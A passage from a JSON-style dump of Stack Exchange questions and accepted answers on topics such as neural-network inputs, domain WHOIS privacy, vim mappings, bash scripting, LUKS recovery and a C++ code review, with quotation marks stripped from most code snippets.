0.525, 0.516, 0.507, 0.498, 0.490, 0.481]y=np.asarray(y)sample = [20, 20.1, 20.2, 20.3, 20.4, 20.5, 20.6, 20.7, 20.8, 20.9, 21, 21.1, 21.2, 21.3, 21.4]sample=np.asarray(sample)size = len(x)inp = x.reshape(size,1)tar = y.reshape(size,1)smp = sample.reshape(len(sample),1)#print(inp)print(tar)# Create network with 2 layers and random initialized#net = nl.net.newelm([[min(x), max(y)]],[5, 1]) # neurolab.net.newff(minmax, size, transf=None)net = nl.net.newelm([[min(x), max(y)]], [16, 1], [nl.trans.TanSig(), nl.trans.PureLin()])# Set initialized functions and initnet.layers[0].initf = nl.init.InitRand([-0.1, 0.1], 'wb')net.layers[1].initf = nl.init.InitRand([-0.1, 0.1], 'wb')net.init()# Train networkerror = net.train(inp, tar, epochs=1900, show=100, goal=0.0001)# Simulate networkout = net.sim(smp)print(out)It works fine with only one input time series (input vector). But I need more than one, in fact, I do need five input vectors.Example:I'm going to predict 6 rows of to_be_predicted column. The data: pastebin.com/7z1DeikJ. So columns usd, euro, GDP_bln, inflation, CPI are the inputs and to_be_predicted is a target in my case.Does anybody know how to solve this issue? Thanks for your help!"  , "title": "Is there any ability to use two ore more inputs for Elman recurrent neural network?"  , "tags": "python;neural network;time series"  } 
{  "id": "_webmaster.49766"  , "question": "If I purchase a domain, I'm usually required to enter an address. Usually, the address can be accessed publicly by any sort of WHOIS lookup. I'm uncomfortable publishing my real home address; what do people usually do? Lie? Purchase a P.O box?"  , "title": "Concerns regarding registering a domain name with a home address"  , "tags": "domains;domain registration;domain registrar"  , "accepted_answer": "Not disclosing your personal contact information is a common concern, since as you state, it's otherwise publicly available at domain registrars, and any site that implements WHOIS lookups.There are Domain Privacy options available at most domain registrars however, for example:  Private RegistrationThese will prevent the public from seeing your home address and contact information (including email address), while staying within ICANN guidelines since the registrar will act as the administrative contact and forward important emails regarding the domain to you.It's not a wise choice to provide false information during domain registrations because if there's ever a challenge for your domain name (UDRP) you'll lose the decision due to violating their terms requiring that all registrants provide valid information at the time of registration, as well as maintaining valid contact information throughout ownership.Additionally, the registrar may seize, or even delete the domain, if notices from them are not properly delivered. For example, some registrars confirm if addresses are valid on a periodic basis, and request that you update them if not. So if you don't receive these notices, you might have a serious issue with your domain...You can use a P.O. Box, however, that's more expensive on a monthly basis than just adding a privacy option for a year during registration and renewals (and all your other contact info will be blocked too).Tip: If you do opt for the privacy option during registration, look for discount codes so they're more affordable for the first year."  } 
{  "id": "_vi.6870"  , "question": "I have this mapping in my vimrc:nnoremap <F3> :%s//\\\\{a}/g<CR> :%s//\\\\{o}/g<CR> :%s//\\\\{u}/g<CR>  :%s//\\ss{}/g<CR>after executing it, an 'R' is inserted above the current line, which of course doesn't make sense at all.the same applies tonnoremap <F3> :%s//\\\\{a}/g<CR> How can I debug this? Is this mapping even possible?EDIT my vim config"  , "title": "mapping with multiple substitutes inserts just a newline with 'R'"  , "tags": "key bindings;substitute"  } 
{  "id": "_softwareengineering.244485"  , "question": "I'm trying to add data from a webhook (from a web cart) to a local Microsoft SQL Server. It seems like the best route for me is to use a PHP script to listen for new data (POST as json), parse it, then query to add to MSSQL.I'm not familiar with security concerning the connection between the PHP script (which would sit on a shared-host website) and the local MSSQL database. I would just keep the PHP script running on the same localhost (have Apache running on Windows), but the URI for the webhook needs to be publicly accessible.Alternately, I assume that I could just schedule a script from the localhost to check periodically for updates through the web carts API, though the webhooks seem to be more fool-proof for an amateur programmer like myself.What steps can I take to ensure security when using a PHP on a remote, shared-host to connect to MSSQL on my local machine?"  , "title": "Securely sending data from shared hosted PHP script to local MSSQL"  , "tags": "php;security;sql server;server;server security"  } 
{  "id": "_cs.60020"  , "question": "I came across a question which asked how sorting would help in searching for counterexamples to the conjecture that $$u^6 + v^6 + w^6 + x^6 + y^6 = z^6$$ has no non trivial solutions in integers.The answer said to make two files containing values of $u^6 + v^6 + w^6 \\pmod W$ and $z^6 - y^6 - x^6 \\pmod W$. $W$ is the word size of the computer. Sort these, search for duplicates and go for further steps.Can someone explain what these further steps would be in detail ? "  , "title": "Use of sorting in counterexamples for equations"  , "tags": "sorting;number theory"  } 
{  "id": "_unix.170677"  , "question": "I wrote a simple backup script which back ups my stuff on a remote server, everything is working great but I'd like to have some sort of report like backup successful or not.this is my script # backup CHECKdate1=`date +%d.%m.%y - %H.%M`host=`hostname`twdate=`date +%d.%m`performtw=`ls -la|grep tw|grep $twdate > tmp1.txt`echo $performtwifcat tmp1.txt|grep twthenecho backup successfullprintf tw backup success! | mail -s tw backup check $date1 repor$rm tmp1.txtelseecho backup failureprintf sitename backup failure! | mail -s site backup check $date1 repor$rm tmp1.txtfiexitBut this isn't working really well and I ask you if there's some simpler and more powerful way to do it? Basically it just needs to check if file exists with the name starting xyz and was created at date xyz."  , "title": "Shell script check if file exists?"  , "tags": "shell script;files;timestamps"  } 
{  "id": "_cogsci.4801"  , "question": "Petty is a word that is pretty clearly defined:Not very important or seriousRelating to things that are not very important or seriousI'm interested in measuring the degree that someone is likely to be focused on, or taking issue with things that most would consider to be trivial, unimportant or nonsensical. For instance, when interviewing a candidate for a position, how could I determine how likely this person is to latch onto issues that most would forget about within minutes of them occurring?To better illustrate what I'm trying to measure, suppose someone was exposed to the following bits of information in a day:The company lost over 14 billion in revenue due to gum-chewingThe city government outlawed all use of purple on WednesdaysWe realized that alien civilizations exist on Mars and have been emulating us by what they pick up from our radio emissions, and formed boy bandsA co-worker wasn't wearing the exact color socks specified in the employee handbookDespite the magnificence of events 1 - 3, the type of person very likely to place an inordinate amount of focus on all things petty can only dwell on number 4. Is there a term for this and, moreover, a test to determine the degree of it in an individual's personality?"  , "title": "Is it possible to quantify 'pettiness' in a personality?"  , "tags": "measurement;personality"  } 
{  "id": "_webapps.11204"  , "question": "Is there a service that allows the simultaneous translation to multiple languages?For example I would type in a word and get it translated to the 20 most common languages."  , "title": "Translate to multiple languages"  , "tags": "translation"  , "accepted_answer": "Nice Translator do just that.50+ langages available."  } 
{  "id": "_scicomp.953"  , "question": "I'm talking about the vanilla sudoku game, with 9x9 grids equally split into 9 regions.I've tried a few approaches to estimate the probability that a specific number is in a specific location, but I can't seem to find the right pattern about it.Suppose I have this (partial) grid:What kind of calculation or method would help me find the probabilities of having a 8 in any of the free locations?Intuitively, I'd think there is a 50% chance of there being an 8 in any of the free locations of the two leftmost squares, but I'm not too sure what to think anymore with that rightmost almost-empty square.(I do realize that this specific example has multiple solutions; I couldn't come up with one that had just one solution but wasn't trivially easy to solve.)EDIT I also realize that since 'good' sudokus only have one solution, as Thomas Andrews noted, the probability that a certain location contains an 8 is either 0 or 1.Therefore, let's assume that I can determine the value of a square with 100% certainty if and only if it can be found through the naked single or hidden single techniques (that is, the number is either the only possible option for a square, or there is no other place where the number can be). Those two techniques are only enough to solve the most basic sudokus.If I chose to observe the grid with those two techniques only, even though I'd get stuck at some state, it would still be possible to enumerate several successor states that would seem legal at first, and very obviously, many of them would have overlapping results. For instance, taking the partial grid above, several successor states would have an 8 in the second square. And by counting every single occurrence of the 8 value in the second square, divided by the number of seemingly legal successor states, I would get what I call the probability of an 8 being there.The problem is that, even for a computer, counting those is sloooow. So I am wondering what kind of maths I could use the get the right answer, without resorting to the manual count, just knowing the constraints."  , "title": "What is the probabilistic model behind sudoku grids?"  , "tags": "combinatorics;constraints"  } 
{  "id": "_unix.176975"  , "question": "I appear to be having unexplainable issues with scripts run from within a subscript. I've been unable to acquire a solution so I will give you what I can to help me solve it.Problem: when a script is run from within a script, particular glitches occur that do not when running the script from the main shell, e.g. # ./userThe glitches that occur are that all 'echo' statement prints onto the same line, even given \\n with '-e', '-n', or nothing at all. The other main glitch is that the 'read' statement in the code actually gets run before everything else, when it's one of the last things run in the debug code, from within the subscript.Below is the code being executed from within the main script.    #!/bin/bash#Frame. /uhost/admin/uhost_files/UHU_FRAME.source. /uhost/admin/uhost_files/UHU_DIR_EXECUTE.sourcearr_uhu_arg=($@)command_get=$1function Help () {    echo -e -n Allows creation, edition, and locking of user accounts stored on the UH2 system.\\n    echo -e -n Takes the following arguments: ${lblue} add lock del${nc}\\n    echo -e -n Can add, lock, and delete UNIX user accounts from the UH2 system.\\n}function Start () {    if [[  ${arr_uhu_arg[*]}  == * add * ]]; then        echo ===== USER ADD =====        echo Username:         read uhost_username    fi}if [[ $command_get == init_help ]]; then    Help # Runs Help function when used by the help commandelse    Start # Runs the main command's functionfiThe scripts are called via the line in the main script:echo `/bin/bash ${UHU_DIR_EXECUTE}/com/$uhu_sepcommand $uhu_sepcommand_arg1 $uhu_sepcommand_arg2`'$uhu_sepcommand' is the script file, followed by arguments.The partif [[  ${arr_uhu_arg[*]}  == * add * ]]; then        echo ===== USER ADD =====        echo Username:         read uhost_username    fiBoth 'echo' statements appear on one line, and the 'read' statement seems to execute before everything else.The glitches ONLY occur when executing the script from within the main script.Using GNU bash, version 4.2.37(1)-release (i486-pc-linux-gnu)Debian GNU/Linux 7.7EDIT #1The comment by Gilles actually answers my problem. The subscript was being accumulated all together and output as one 'lump'. To clarify, the glitch was output coming out inconsistently and incorrectly to what was written.Changing echo `/bin/bash ${UHU_DIR_EXECUTE}/com/$uhu_sepcommand $uhu_sepcommand_arg1 $uhu_sepcommand_arg2`to/bin/bash ${UHU_DIR_EXECUTE}/com/$uhu_sepcommand $uhu_sepcommand_arg1 $uhu_sepcommand_arg2solves the problem."  , "title": "Bash Executing Script from within Script Causes Echo and Read Issues"  , "tags": "bash;scripting"  } 
{  "id": "_softwareengineering.355999"  , "question": "This question might have been asked before, but I am unable to find it.So here goes:I am writing a program which connects to several databases (one at a time). It is using OleDbConnection at the moment, but will be changed to SqlConnection at some point.Should I create, and open a new connection every time, or simply close the existing connection, assign a new connectionstring, and reopen it.I know both solutions work, but why would I prefer one over other.For completeness sake, here is the implementation:Code executed when changing database.var connection = new OleDbConnection(connectionString);HasConnection = true;ConnectionEstablished(this, new ConnectionArgs<OleDbConnection>(connection));Code acting on that changepublic async Task ExecuteAsync(string query, Func<IDataReader, Task> onExecute, params DataParameter[] parameters){    using(var command = builder.BuildCommand(query))    {        foreach(var parameter in parameters)            command.AddParameter(parameter);        if(!connection.IsOpen)            connection.Open();        await command.ExecuteAsync(onExecute);    }}private void OnConnectionEstablished(object sender, ConnectionArgs<IConnection> e){    this.connection = e.Connection;}This there a way to use the using statement, and still preserve this structure?"  , "title": "New connection vs new connectionstring"  , "tags": "c#;database"  , "accepted_answer": "The recommended approach is to open a new connection each time with the using statement.using (SqlConnection connection = new SqlConnection(connectionString))    {        connection.Open();        // Do work here; connection closed on following line.    }The reason to prefer this approach is that it guarantees the connection will be closed after use.However, this would seem to be non-performant, except that there is a feature of the SqlConnection object called 'Connection Pooling'.To deploy high-performance applications, you must use connection  pooling. When you use the .NET Framework Data Provider for SQL Server,  you do not have to enable connection pooling because the provider  manages this automatically, although you can modify some settings. For  more information, see SQL Server Connection Pooling (ADO.NET).https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnection(v=vs.110).aspxConnection pooling reduces the number of times that new connections  must be opened. The pooler maintains ownership of the physical  connection. It manages connections by keeping alive a set of active  connections for each given connection configuration. Whenever a user  calls Open on a connection, the pooler looks for an available  connection in the pool.https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql-server-connection-poolingIt looks like the ODBCConnection is slightly different, but still has a connection pooling option.Re:Updated questionSo there is the obvious way of just using the connection string from the passed in connection to make 'new' connections with using. But it would probably be best to refactor.Your current code has a race condition on the open statement and no close is shown.However, is connection pooling used? not sure. You only call open once, so I think everything will run on the same db connection with no requirement for the pooling code to do anything.This eliminates the race condition on Open, ensures commands can complete without the underlying connection closing or changing on them and ensures that all connections are closed;public async Task ExecuteAsync(string query, Func<IDataReader, Task> onExecute, params DataParameter[] parameters){    using(var conn = new SqlConnection(this.connstr))    using(var command = builder.BuildCommand(query, conn))    {        conn.Open();        foreach(var parameter in parameters)         {            command.AddParameter(parameter);        }        await command.ExecuteAsync(onExecute);    }}private void OnConnectionEstablished(object sender, ConnectionArgs<IConnection> e){    this.connstr = e.Connection.ConnectionString ;}"  } 
{  "id": "_softwareengineering.252419"  , "question": "I see a lot of code with variables declared right after the function, but when I post something like that people end up mad and say it is better to declare them when they are used.I assume this all compiles to the same executable, so it is simply a matter of style. As far as I can tell, pretty much all C code (99.9% that I've seen) declares them near the beginning and this is how it has been done for many years.So why do people keep suggesting that they are declared closer to the block that uses them?"  , "title": "Where are C variables declared"  , "tags": "coding style;declarations"  } 
{  "id": "_opensource.2648"  , "question": "At the Philosophy of the GNU Project, there is one page Why we must insist on free software which states the importance/significance and advantages of free software.So, I want to know what OSI states/shows the importance & advantages of open source?I can see at the mission statement at about page:Open source is a development method for software that harnesses the power of distributed peer review and transparency of process. The promise of open source is higher quality, better reliability, greater flexibility, lower cost, and an end to predatory vendor lock-in.But I'm looking for the (demonstrating) topics like:How open source is better?How open-sourcing is important? or Why open source?"  , "title": "What significance & advantages does the OSI say about open source?"  , "tags": "osi;fsf"  } 
{  "id": "_cogsci.12349"  , "question": "I've long been interested in the concept of states of mind, which influence the perception of the outside world and outlook on past, present and future. They can be thought of as colored lenses through which the world is perceived. Each state has a certain trigger. Some example states are:Anxiety - world is a terrible place full of dangerSexual arousal  - brain notices sexual stimuli more and reduces inhibitionsCreative inspiration - ideas fly and there's a drive to createToday I've read about an experiment to replicate a part of a rat brain in supercomputer. The following quote jumped at me as rather significant:The researchers wrote, that the slow synchronous waves of neuronal  activity, which have been found in the brain during sleep, were  triggered during the simulations, suggesting that neural circuits  may have the unique ability to able to switch into different modes  that could explain critical behaviours.An analogy would be a computer processer that can reconfigure to  focus on certain tasks. The experiments suggest the existence of a  spectrum of states, so this raises new types of questions, such as  what if youre stuck in the wrong state? said Markram.I read that the project is criticized due to it's complexity, seems like they are working from the bottom up, which makes me ask:Are there projects out there that attempt to model the brain from the higher levels of abstraction (discrete states and their triggers) down to more detail?To use a computer analogy - instead of writing very low level binary code, I can take a high level programming library and work with that. Is there research in this direction?This image is an example of a state machine - a system is modelled in terms of discrete states and their interactions. The author does not concern themselves with interaction of individual neurons, instead with higher level states:"  , "title": "Can a brain be modeled as a simplified interaction of different states and their triggers?"  , "tags": "cognitive psychology;cognitive neuroscience;cognitive modeling;behavior"  , "accepted_answer": "My answer is probably a weird hodgepodge of sometimes poorly explained stuff, but hopefully it's coherent enough :PFor many decades in psychology, we've had a mechanistic stimulus-organism-response understanding of the brain.  That is, a stimulus triggers an internal psychological process, which produces some behavioral response.  One of the major limitations of this kind of thinking is that it assumes that the mind is at rest until it's stimulated by something in the environment (even if we add a recursive component to it). However, this is fundamentally untrue. Instead, the brain is a predictive organ (e.g., Clark, 2013). It's loaded with prior knowledge about past experiences, which is constantly used to predict incoming sensory information. If there is a discrepancy between incoming information and past experience (i.e., prediction error), then our knowledge is updated. This is most clearly seen in the literature on vision, which shows how top-down expectations and prior knowledge robustly bias early visual activity, even in the absence of a visual stimulus (Summerfield & de Lange, 2014). The trigger-state model could not easily account for this.Moreover, dividing up the brain into mental states may not actually represent how the brain functions.  The brain isn't really faithful to the kinds of distinctions we make between cognition and emotion, for example (e.g., Barrett, 2009; Pessoa, 2008).  And not only that, those higher order states like anxiety and sexual arousal can be represented in the brain in many different ways. Indeed, there is no dedicated mechanism in the brain or body for producing states like anxiety or creative inspiration (e.g., Wager et al., 2015).  They're merely concepts for organizing and communicating our experience.  And even then, our brain may not really have concepts (see Laurence Barsalou's work; but see also Blouw, Solodkin, Thagard, & Eliasmith, 2015), although it may have a conceptual system that allows us to conceptualize (e.g., Barsalou, 2005).So I guess what I'm getting at is that brain function is nonlinear, spatiotemporally dynamic, and doesn't adhere to folk psychological categories. Thus, it would probably be difficult to understand the brain by attempting to reduce linear trigger-state relationships to the level of networks, regions, and cells. However, maybe (probably) someone has a better informed, more balanced answer than me! :)"  } 
{  "id": "_unix.179134"  , "question": "I am trying to set up networking on my development server running Arch Linux, but something is amiss. I have enabled dhcpcd on all interfaces, and ping now works (including dns resolution), but curl/other TCP programs do not. Does anyone have any ideas for how to go about debugging this? Thank you in advance."  , "title": "ping works but curl does not"  , "tags": "networking;arch linux"  } 
{  "id": "_cs.71374"  , "question": "A language $L$ is definite if there is some $k> 0$ such that for any string $w$, whether $w \\in L$ depends on the last $k$ symbols of $w$. How can I prove that every definite language is accepted by a finite automaton?"  , "title": "Show that every definite language is accepted by a finite automaton"  , "tags": "finite automata"  , "accepted_answer": "This is true as a consequence of the Myhill Nerode theorem. For any fixed $k\\gt 0$, the number of possible combinations of the last $k$ symbols of any string $w\\in L$ is $|\\Sigma|^k$, where $\\Sigma$ is the alphabet.Any two strings that have the last $k$ symbols identical will always be both accepted or both rejected by $L$, for any string appended to them, i.e., no string in $\\Sigma^*$ will distinguish such strings. Thus, such strings lie in the same equivalence class of $L$.Strings with differences in their last $k$ symbols will either lie in different equivalence classes or will cause the classes demarcated in the previous step to collapse together into a single class.Thus, the equivalence classes of $L$ are determined by the last $k$ symbols of $L$.As the possible combinations of the last $k$ symbols is finite, the number of equivalence classes is finite. Thus, by the Myhill Nerode theorem, the language $L$ is regular. Hence, there exists a DFA that accepts $L$."  } 
{  "id": "_unix.249024"  , "question": "I have a hard drive that got corrupted after a doing an MTP mounting of a cell phone.  It was created under Fedora Core 20 using defaults.  Originally, I thought I did it as an ext4 partition.  I tried mounting it as an ext4 it couldn't and fsck reported corrupt superblocks.  The TestDisk program couldn't determine what the partition was either.  Out of desperation, I created new superblocks as follows:mke2fs -n -b 2048 /dev/sdb3The partition could still not be mounted.  Later saw from a grub.cfg file the following linelinuxefi /vmlinuz-3.19.8-100.fc20.x86_64 root=/dev/mapper/fedora_dfl-root ro rd.lvm.lv=fedora_dfl/swap vconsole.font=latarcyrheb-sun16 rd.lvm.lv=fedora_dfl/root rd.luks.uuid=luks-a0d2613e-ce2a-4a6b-96cf-b999b3a36ab8  rhgb quiet LANG=en_US.UTF-8My guess is that I created an encrypted volume and forgot that I did so.  Fortunately, I only use a few passwords so guessing which one I used shouldn't be too hard.  In a perfect world, I'd love to have the full volume back.  However, I hope to get back a couple of files.  "  , "title": "Decrypt a portion of a corrupted drive"  , "tags": "partition;encryption;ext4;luks"  } 
{  "id": "_cs.50525"  , "question": "Let $X = \\{x_1, x_2, ..., x_n\\} \\subset \\mathbb{R}^m$ be a finite set of points. Smallest enclosing ball is a well-known problem that asks for the $m$-ball that covers all $x_i \\in X$, while having the smallest radius possible.I am interested in solving a related, more constrained problem. Namely, in my version, the enclosing $m$-ball's center can not be chosen freely, but is constrained to be one of the points in $X$. In other words, I would like to find the point $x_j \\in X$ such that the maximum distance (i.e. the enclosing radius)$$\\max_{x \\text{ } \\in \\text{ } X} \\; \\lVert x - x_j \\rVert$$is minimized.Obviously, one can simply compute all distances in $O(m n^2)$ time, and find the desired point. A less naive way to tackle the problem would be to generate a space-subdividing acceleration structure, say a kd-tree. We can do this in $O(m n \\log n)$. Then, per-node maximum distances can be computed in $O(f(m, n))$ time, and we can pick the node having the minimum-maximum distance. This method would have a complexity of $O(n (f(m, n) + m \\log n))$. Here, $f(m, n)$ is a function that stands for the query complexity of the kd-tree. Therefore, $f(m, n)$ looks like $m \\log n$ for small $m$, but $m n$ for large $m$.All in all, we would still be making many repeated (and unnecessary) distance computations. Also, because of how $f(m, n)$ behaves, the latter method degrades to the former for big $m$. Therefore, even the latter solution is not very satisfactory.Can we do better? What is the best (in terms of time complexity and practical performance) known algorithm to tackle this problem?"  , "title": "Constrained Smallest Enclosing Ball Problem"  , "tags": "algorithms;computational geometry"  } 
{  "id": "_unix.46289"  , "question": "I would like to apply the Toogle Invert Effect when I start my system.So, I need to know how to call this KWin effect using the terminal.OBS.: I'd tried xte keydown Meta_L key i keyup Meta_L, but didn't work."  , "title": "How to emulate a KWin effect by command line?"  , "tags": "command line;scripting;kde;window;kwin"  } 
{  "id": "_vi.11155"  , "question": "I like the functionality of gf but for certain files I would like to run some (non-Vim) code on the file prior to displaying it in my window.  Is there a way to capture the filename under the cursor so it can be used in a shortcut?For example, I want to create a shortcut that would run <custom_unix_script> <file> (where  is under the cursor) and display those results in a new buffer or tab."  , "title": "How do I run a command on the file name under the cursor"  , "tags": "vimscript"  , "accepted_answer": "In addition to @Luc Hermitte's answer of using expand(<cfile>), you can also use the :! command to run a shell command. You could do something like the following:nnoremap gf :execute !<custom_unix_script>  . expand(<cfile>)nnoremap: Creates a normal mode non-recursive mapping:execute: Allows us to build the command on the fly:!...: Runs the following command in your shellexpand(<cfile>): Uses the file-like word under your cursorNote that this will do this for ALL files. If you want to filter by certain files you'll need to get a little bit more fancy. I'd recommend calling a function and doing a conditional on the output of expand(<cfile>).See :h expand, :h <cword>, :h execute, and :h !cmd for more info."  } 
{  "id": "_webmaster.24077"  , "question": "I'm writing a big index of documents and I'm dealing with URLsas example I will use the car industry:somesite.com/manifacturer-mazda_model-miata_engine-1600cc_gas_color-red_hard-top-spider_[[A LOT MORE]].htmthis url points to a generated content that can't be identified as a single resource (in practice, every keyword is a filter and the page result is generated by a database search)at Google's eyes an URL like this looks spammy or I can use this solution with freedom?using querystring instead of URL rewriting can fix risks? and, in this case, keywords will be considered as keyword for SERPs?thank you in advance,feel free to correct my English!"  , "title": "how to deal with URLs containing lot of spammy keywords?"  , "tags": "google;url;seo;query string"  , "accepted_answer": "If you have enough different content for each result page that should be ok. Google is intelligent enough to know that keywords in URL and in query string is the same (but by using Google Webmaster Tools, you can filter query string only).In your case, those are categorized pages, so that's ok.About keywords in URL (or as query string): IMHO we don't need them. Google recognises them, but if we put them in a meta tag, Google recognises them, too, and we don't need to put all in URL, just 3-4 are ok."  } 
{  "id": "_softwareengineering.202704"  , "question": "What values in an application should be configurable, or otherwise not hard coded?  Does this differ based on application type (batch vs UI) and are there any published standards or guidance on this topic (IEEE, ACM, vendor, etc)?"  , "title": "What values in an application should be configurable?"  , "tags": "design;coding standards;configuration"  } 
{  "id": "_softwareengineering.213963"  , "question": "In a team that I used to work for, there was a policy that if you introduced a memory or other resource leak, you got a 'dummy of shame' hung on your door until you found the next resource leak.While it was effective at finding resource leaks, I felt like it placed more emphasis on blaming others rather than working together to solve problems as a team.Am I being unreasonable in thinking that this policy contributed to a lower sense of team cohesion?  Am I also being unreasonable in thinking that we should have rewarded those people who found and fixed the issue?"  , "title": "Assigning Blame for Bugs versus Giving Rewards for Fixes"  , "tags": "development process;teamwork"  } 
{  "id": "_webmaster.43507"  , "question": "I'm already hosting my site, and looking for another host. So I need to know how much bandwidth my website is using.On my current host I can see only following bandwidth related data:Outbound traffic (24 hours)Maximum 801kb/sAverage 398kb/sI want to know how many Gb/month I need."  , "title": "How to calculate Website Bandwidth?"  , "tags": "web hosting;bandwidth"  , "accepted_answer": "398 (kb/sec) * 60 (sec/min) * 60 (min/hour) * 24 (hours/day) * 30 (days/month) / (8 (bits/byte)) / (1024 KB/MB)  / (1024 MB/GB) = 123 GB/Month"  } 
{  "id": "_webmaster.58330"  , "question": "We build websites, and some that accept user data and/or allow creation of accounts with personal information. What's the worst that could happen if you don't have a Privacy Policy on your website? I know that the site needs one.Also, whats the worst a consumer or parent can do when he/she encounters a site (for adults or children) without a Privacy Policy, apart from complaining to some court or legal authority? Is there a central place for this in the US and other countries? "  , "title": "What's the worst that could happen with no Privacy Policy"  , "tags": "legal;privacy;privacy policy"  , "accepted_answer": "In the U.S.? Nothing. Sorta. A privacy policy is a good idea and helps trust organizations such as eTrust evaluate your site for trust. It also helps the site user. I always read the privacy policy when any account or PII (personally identifiable information) is taken.The exception is where a site engages in marketing and serving to children 13 and under. There are legalities involved and a privacy policy is required. http://en.wikipedia.org/wiki/Children%27s_Online_Privacy_Protection_ActIf your site is clearly not for children, then it is just good business even for sites that do not have account registrations but do capture usage information, uses cookies, or uses a 3rd party tool that may do the same such as Google Analytics and Adsence.If your site is purely informational and you do nothing else but evaluate site logs, then I would not worry about it unless you want a trust organization to give a better score.The Wikipedia page on this is very good. http://en.wikipedia.org/wiki/Privacy_policy Here you will see as much information as there probably is with good links on the subject."  } 
{  "id": "_codereview.68219"  , "question": "I'm trying to write a program where you can insert and display some books (without using a database).For doing this, I use three classes:Book - is the base class.TehnicBook and Literature - that will inherit some properties from Book.#include <iostream>#include <string>#include <stdlib.h>using namespace std;class Book {public:    string author, title;    bool rented;    Book(string &author, string &title, bool rented) {        this -> author = author;        this -> title = title;        this -> rented = rented;    };    void display(void);};class TehnicBook:public Book {    int amount, RlYear;    string language;    TehnicBook *head, *next;public:    TehnicBook(string &author, string &title, bool rented, int amount, string &language, int RlYear):Book(author, title, rented) {        head = NULL;        this -> language = language;        this -> amount = amount;        this -> RlYear = RlYear;    };    ~TehnicBook(void) {        delete head;    };    void display(void);    void add(void);    void dellete(string&);};class Literature:public Book {    string bookType;    Literature *head, *next;public:    Literature(string &author, string &title, bool rented, string &bookType):Book(author, title, rented) {        head = NULL;        this -> bookType = bookType;    };    ~Literature(void) {        delete head;    };    void display(void);    void add(void);};void TehnicBook::add(void) {    string author, title, language;    int year, amount;    bool rented;    cout << endl << Author: , cin >> author;    cout << Title: , cin >> title;    cout << Rented? (0/1): , cin >> rented;    cout << The amount of books: , cin >> amount;    cout << Language: , cin >> language;    cout << Release year: , cin >> year;    TehnicBook *p = new TehnicBook(author, title, rented, amount, language, year);    p -> next = head;    head = p;}void TehnicBook::display(void) {    TehnicBook *p = head;    while(p) {        cout << -----------------------------\\n;        cout << Author:  << p -> author << endl;        cout << Title:  << p -> title << endl;        cout << Is  << ((p -> rented) ?  : not ) << rented << endl;        cout << Amount of books:  << p -> amount << endl;        cout << Language:  << p -> language << endl;        cout << Release year:  << p -> RlYear << endl;        cout << endl;        p = p -> next;    }}void Literature::add(void) {    string author, title, bookType;    bool rented;    cout << \\nAuthor: , cin >> author;    cout << Title: , cin >> title;    cout << Is rented? , cin >> rented;    cout << Book type (hardcover/...: , cin >> bookType;    Literature *p = new Literature(author, title, rented, bookType);    p -> next = head;    head = p;}void Literature::display(void) {    Literature *p = head;    while(p) {        cout << \\n-----------------------------\\n;        cout << Author:  << p -> author << endl;        cout << Title:  << p -> title << endl;        cout << Is rented?  << ((p -> rented) ? yes : no) << endl;        cout << Book type:  << p -> bookType << endl << endl;        p = p -> next;    }}int main(int argc, char const **argv) {    string blank = ;    TehnicBook *tehnicB = new TehnicBook(blank, blank, false, 0, blank, 0);    Literature *litB = new Literature(blank, blank, false, blank);    int opt;    for(;;) {        cout << \\n\\n1) Add a tehnic book.\\n;        cout << 2) Display all tehnic books.\\n;        cout << 3) Add a literature book.\\n;        cout << 4) Display all literature books.\\n;        cout << 5) Exit.\\n\\n;        cout << Your option: , cin >> opt;        switch(opt) {            case 1:                tehnicB -> add();                break;            case 2:                tehnicB -> display();                break;            case 3:                litB -> add();                break;            case 4:                litB -> display();                break;            case 5:                exit(0);            default:                continue;        }    }    return 0;}Am I doing this right? Any better ideas?"  , "title": "Inserting and displaying books"  , "tags": "c++;beginner;inheritance;polymorphism"  , "accepted_answer": "Major bug: Book::~Book is not virtual. This means you have a memory leak in the following case:TehnicBook *tb = new TehnicBook(...);tb->add(...);Book *b = tb;delete tb; //<- tb->head is leakedIf you have C++11 I recommend that every class either has a virtual destructor or is declared final such as class Book final{...}.Major design issue: You are combining TehnicBook with a linked list. A class should have only one responsibility: Either manage a book or manage memory, not both. At least use std::list or better std::vector. Better remove add from TehnicBook and Literature and put a vector<Book> into main to seperate storage and functionality.Similarly add should not use cin and cout. You are mixing user interface and class functionality. It should simply take a TehnicBook *. You can make a free standing function that conveniently does this, but it should not be part of TehnicBook.Similarly display should not use cout. Either make it return a string which you then give to cout or teach cout how to print books such as this:ostream &operator <<(ostream &os, TehnicBook &t){    os <<     os << -----------------------------\\n;    os << Author:  << p->author << endl;    os << Title:  << p->title << endl;    os << Is  << ((p->rented) ?  : not ) << rented << endl;    os << Amount of books:  << p->amount << endl;    os << Language:  << p->language << endl;    os << Release year:  << p->RlYear << endl;    os << endl;    return os;}Now you can do TehnicBook book(...); cout << book;, which is pretty neat, but more importantly you can do things like ofstream file(test.txt); file << book;, so we got printing a book to a file and TCP-streams and so on for free.I see void dellete(string&); inside TehnicBook, but no implementation. I guess you meant to add the functionality to remove books from the list. Remove this function, it does not belong to a TehnicBook.Is TehnicBook supposed to be TechnicBook or TechnicalBook?This may be a bit over your head, but I want to at least mention it: Do not use new and delete. Ever. Instead use make_unique.TehnicBook *tehnicB = new TehnicBook(blank, blank, false, 0, blank, 0);becomesauto tehnicB = make_unique<TehnicBook>(blank, blank, false, 0, blank, 0);The point is that now you do not need to manage memory. Managing memory is very difficult and error prone and unnecessary. For example you forgot to clean up tehnicB and litB inside main. This automatically gets fixed without thinking about it with modern C++."  } 
